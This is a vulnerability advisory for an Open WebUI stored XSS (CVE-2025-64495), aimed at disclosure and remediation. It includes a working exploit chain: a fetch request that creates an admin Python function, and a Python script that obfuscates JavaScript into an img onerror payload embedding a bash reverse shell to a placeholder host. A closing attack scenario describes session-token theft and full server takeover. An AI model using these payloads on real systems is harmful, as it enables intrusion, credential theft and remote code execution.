CVE-2025-64495: Open WebUI: XSS-to-RCE via malicious prompt injection

### Summary The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink `.innerHtml` without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding `/` command to insert the prompt. ### Details The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348 ```js export const replaceCommandWithText = async (text) => { const { state, dispatch } = editor.view; const { selection } = state; const pos = selection.from; // Get the plain text of this document // const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n'); // Find the word boundaries at cursor const { start, end } = getWordBoundsAtPos(state.doc, pos); let tr = state.tr; if (insertPromptAsRichText) { const htmlContent = marked .parse(text, { breaks: true, gfm: true }) .trim(); // Create a temporary div to parse HTML const tempDiv = document.createElement('div'); tempDiv.innerHTML = htmlContent; // <---- vulnerable ``` User controlled HTML from the prompt body is assigned to `tempDiv.innerHTML` without (meaningful) sanitisation. `marked.parse` introduces some character limitations but does not sanitise the content, as stated in their README. <img width="1816" height="498" alt="image" src="https://github.com/user-attachments/assets/bd0980fc-ad87-460a-94b8-02bc94bea1a2" /> ### PoC Create a custom prompt as follows: <img width="3006" height="1100" alt="image" src="https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981" /> Via settings, ensure 'Insert Prompt as Rich Text' is enabled: <img width="2204" height="1268" alt="image" src="https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48" /> Run the command `/poc` via a chat window. <img width="2470" height="1332" alt="image" src="https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744" /> Observe the alert is triggered. <img width="2452" height="1456" alt="image" src="https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea" /> #### RCE Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing. This can be accomplished by making them run the following fetch request: ```js fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('echo RCE')" }) }) ``` This cannot be done directly because the `marked.parse` call the HTML is passed through will neutralise payloads containing quotes <img width="1718" height="482" alt="image" src="https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745" /> To get around this strings must be manually constructed from their decimal values using `String.fromCodePoint`. The following Python script automates generating a viable payload from given JavaScript: ```py payload2 = """ fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')" }) }) """.lstrip().rstrip() out = "" for c in payload2: out += f"String.fromCodePoint({ord(c)})+" print(f"<img src=x onerror=eval({out[:-1]})>") ``` An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker. <img width="2476" height="756" alt="image" src="https://github.com/user-attachments/assets/01f9e991-832a-4cfb-8c3e-3b2ce02cff15" /> <img width="2492" height="1530" alt="image" src="https://github.com/user-attachments/assets/d08eb48f-a688-41a1-9b52-e91df7ced929" /> <img width="1968" height="916" alt="image" src="https://github.com/user-attachments/assets/2ad6a19e-f151-4ac9-9903-0961e33fe42f" /> ### Impact Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server. Admin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands. ### Caveats Low privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions A victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected. ### Remediation Sanitise the user controlled HTML with DOMPurify before assigning it to `.innerHtml`

An attacker with prompt-creation permissions (e.g., a compromised low-privilege account or malicious insider) crafts a custom prompt containing an `<img src=x onerror=eval(...)>` payload where the JavaScript is obfuscated using String.fromCodePoint to bypass the marked.parse quote filter. The prompt is published and named something innocuous like '/summary'. When a targeted admin uses the /summary command with Rich Text enabled — during normal workflow — the XSS fires, silently POSTs to /api/v1/functions/create with a Python reverse shell payload using the admin's session credentials, and establishes an interactive shell on the server. The attacker now has full OS access to the AI backend, including model weights, API keys, and any data processed by the platform.